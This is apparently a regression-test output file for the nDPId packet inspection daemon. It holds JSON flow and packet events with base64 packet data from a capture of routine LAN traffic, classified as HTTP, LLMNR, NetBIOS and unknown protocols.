+00859{"flow_id":63,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":700,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104390,"pkt_ts_usec":846598,"pkt_caplen":390,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":390,"pkt_l4_len":356,"pkt":"ABxCjnAxTF4M6gNlCABFAAF48IdAADUGS9FE6f2FwKgFEABQ0Xh2OO97HrFGwoAYABuCGQAAAQEICs8eH\/8aDz0FSFRUUC8xLjEgNTAyIEJhZCBHYXRld2F5DQpTZXJ2ZXI6IE1TZXJ2ZXIgMS4yLjINCkRhdGU6IFR1ZSwgMDIgQXVnIDIwMTYgMDE6NTg6MzQgR01UDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KQ29udGVudC1MZW5ndGg6IDE2Ng0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo8aHRtbD4NCjxoZWFkPjx0aXRsZT41MDIgQmFkIEdhdGV3YXk8L3RpdGxlPjwvaGVhZD4NCjxib2R5IGJnY29sb3I9IndoaXRlIj4NCjxjZW50ZXI+PGgxPjUwMiBCYWQgR2F0ZXdheTwvaDE+PC9jZW50ZXI+DQo8aHI+PGNlbnRlcj5uZ2lueDwvY2VudGVyPg0KPC9ib2R5Pg0KPC9odG1sPg0K"} +00425{"flow_id":63,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":701,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104390,"pkt_ts_usec":846680,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0TlJAAEAG5ErAqAUQROn9hdF4AFAesUbCdjjwv4AQEAt5WQAAAQEIChoPPdDPHh\/\/"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":702,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1470104390945,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00835{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":702,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104390,"pkt_ts_usec":945416,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"\/\/\/\/\/\/\/\/XNmY3fXzCABFAAFZAABAAEARbn7AqApu\/\/\/\/\/+xA9gABRTgx\/\/8AAKAAXNmY3fXzwKgKbgAAAgAnAUROUy0xMTAwLTA0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABOQVMAAAAAAAAAAAAAVVqvihgAAABVWsE9WwAAAFVasDEuMDJiMTAAEXgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXNmY3fXzM0ExAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRsaW5rLURERjVGMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAqApu\/\/8AAExBTjEAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":706,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1470104391199,"flow_last_seen":0,"flow_tot_l4_data_len":21,"flow_min_l4_data_len":21,"flow_max_l4_data_len":21,"flow_avg_l4_data_len":21,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"64.233.189.128","src_port":49581,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00411{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":706,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104391,"pkt_ts_usec":199899,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"TF4M6gNlABxCjnAxCABFAAApUk5AAIAGdmbAqHMIQOm9gMGtAFD1eICMR0KJzlAQAXpzKwAAAA=="} +00411{"flow_id":66,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":707,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104391,"pkt_ts_usec":199954,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"TF4M6gNlABxCjnAxCABFAAApUk5AAIAGdmbAqHMIQOm9gMGtAFD1eICMR0KJzlAQAXpzKwAAAA=="} +00423{"flow_id":66,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":708,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104391,"pkt_ts_usec":208758,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0a70AAC4G7uxA6b2AwKhzCABQwa1HQonO9XiAjYAQAVdRKwAAAQEFCvV4gIz1eICN"} +00579{"flow_id":58,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":709,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104391,"pkt_ts_usec":253292,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cPGh+Cr9CABFAAChARUAAAERAozAqAUJ7\/\/\/+ti8B2wAjcMVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00579{"flow_id":57,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":710,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104391,"pkt_ts_usec":254355,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6uKxvwfbSCABFAAChJ1IAAAERfDbAqGUh7\/\/\/+ti9B2wAjWL8TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":711,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1470104391254,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::5d92:62a8:ebde:1319","dst_ip":"ff02::1:3","src_port":63659,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":711,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104391,"pkt_ts_usec":254477,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"MzMAAQADPKn0WgOEht1gAAAAACARAf6AAAAAAAAAXZJiqOveExn\/AgAAAAAAAAAAAAAAAQAD+KsU6wAgEMLGawAAAAEAAAAAAAAGaXNhdGFwAAABAAE="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":711,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1470104391254,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::5d92:62a8:ebde:1319","dst_ip":"ff02::1:3","src_port":63659,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":712,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1470104391254,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"224.0.0.252","src_port":51714,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":712,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104391,"pkt_ts_usec":254588,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AQBeAAD8PKn0WgOECABFAAA0HuAAAAER9UjAqAPs4AAA\/MoCFOsAIFaUxmsAAAABAAAAAAAABmlzYXRhcAAAAQAB"} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":712,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1470104391254,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"224.0.0.252","src_port":51714,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00578{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":713,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104391,"pkt_ts_usec":254843,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMO8AAAER0oHAqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00453{"flow_id":67,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":714,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104391,"pkt_ts_usec":361874,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"MzMAAQADPKn0WgOEht1gAAAAACARAf6AAAAAAAAAXZJiqOveExn\/AgAAAAAAAAAAAAAAAQAD+KsU6wAgEMLGawAAAAEAAAAAAAAGaXNhdGFwAAABAAE="} +00424{"flow_id":68,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":715,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104391,"pkt_ts_usec":362039,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AQBeAAD8PKn0WgOECABFAAA0HuEAAAER9UfAqAPs4AAA\/MoCFOsAIFaUxmsAAAABAAAAAAAABmlzYXRhcAAAAQAB"} +00584{"flow_id":59,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":718,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104391,"pkt_ts_usec":458729,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/66LH8q\/uyCABFAAClCe4AAAQR9obAqAUx7\/\/\/+sn4B2wAkYV1TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":720,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1470104391564,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"192.168.255.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":720,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104391,"pkt_ts_usec":564386,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PKn0WgOECABFAABOHugAAIARlnrAqAPswKj\/\/wCJAIkAOqdmilEBEAABAAAAAAAAIEVKRkRFQkZFRUJGQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":720,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1470104391564,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"192.168.255.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":726,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1470104392072,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.140.140","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00839{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":726,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104392,"pkt_ts_usec":72031,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"\/\/\/\/\/\/\/\/wKC7c+tXCABFAAFZOwBAAEARsV\/AqIyM\/\/\/\/\/\/YA9gABRQTx\/\/\/Z1aAAwKC7c+tXwKiMjAAAAgAnAURHUy0xMjEwLTEwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTd2l0Y2gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMuMTAuMDEzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwKC7c+tXQjEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRUDBSMUQ5MDAwMDI2AAAAAAAAAAAAAAAAAAAAAAAAAERHUy0xMjEwLTEwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAqIyM\/\/8AAFBvcnQgOAAAIAGwIAAGAADCoLv\/\/nPrV0A="} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":727,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1470104392072,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b020:6::c2a0:bbff:fe73:eb57","dst_ip":"ff02::1","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00872{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":727,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104392,"pkt_ts_usec":72989,"pkt_caplen":391,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":391,"pkt_l4_len":337,"pkt":"MzMAAAABwKC7c+tXht1gAAAAAVERgCABsCAABgAAwqC7\/\/5z61f\/AgAAAAAAAAAAAAAAAAAB9gD2AAFRMAf\/D9nVoADAoLtz61cgAbAgAAYAAMKgu\/\/+c+tXAAACACcBREdTLTEyMTAtMTBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFN3aXRjaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4xMC4wMTMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAoLtz61dCMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFFQMFIxRDkwMDAwMjYAAAAAAAAAAAAAAAAAAAAAAAAAREdTLTEyMTAtMTBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMCojIz\/\/wAAUG9ydCA4AAAgAbAgAAYAAMKgu\/\/+c+tXQA=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":730,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1470104392380,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.45","dst_ip":"192.168.255.255","src_port":59789,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":730,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104392,"pkt_ts_usec":380243,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/4KzLceHQCABFAABOckUAAEARgdzAqAUtwKj\/\/+mNAIkAOs9OABUBEAABAAAAAAAAIEZERUJFT0VLRUpDTkVNRUpFR0VGRUNFUEVQRUxDTkNBAAAgAAE="} +00509{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":730,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1470104392380,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.45","dst_ip":"192.168.255.255","src_port":59789,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00468{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":731,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104392,"pkt_ts_usec":380425,"pkt_caplen":98,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":98,"pkt_l4_len":44,"pkt":"MzMAAQACcD6s8PAHht1gBWEEACwRAf6AAAAAAAAABAZVqGRTJd3\/AgAAAAAAAAAAAAAAAQACAiICIwAsg0sLJ3MdAAEADgABAAEduOb7cD6s8PAHAAYABAAXABgACAACBh0="} +00583{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":734,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104392,"pkt_ts_usec":584849,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6zD2CHu7jCABFAAClQLkAAAQRv73AqAUv7\/\/\/+utrB2wAkWQETS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00508{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1470104392072,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b020:6::c2a0:bbff:fe73:eb57","dst_ip":"ff02::1","src_port":62976,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1470104392072,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b020:6::c2a0:bbff:fe73:eb57","dst_ip":"ff02::1","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1470104391564,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"192.168.255.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1470104390945,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1470104390945,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1470104392380,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.45","dst_ip":"192.168.255.255","src_port":59789,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00511{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1470104389597,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53613,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00473{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1470104389597,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53613,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1470104385827,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"59.120.208.218","dst_ip":"255.255.255.255","src_port":50151,"dst_port":1947,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1470104385827,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"59.120.208.218","dst_ip":"255.255.255.255","src_port":50151,"dst_port":1947,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1470104392072,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.140.140","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":738,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1470104392072,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.140.140","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 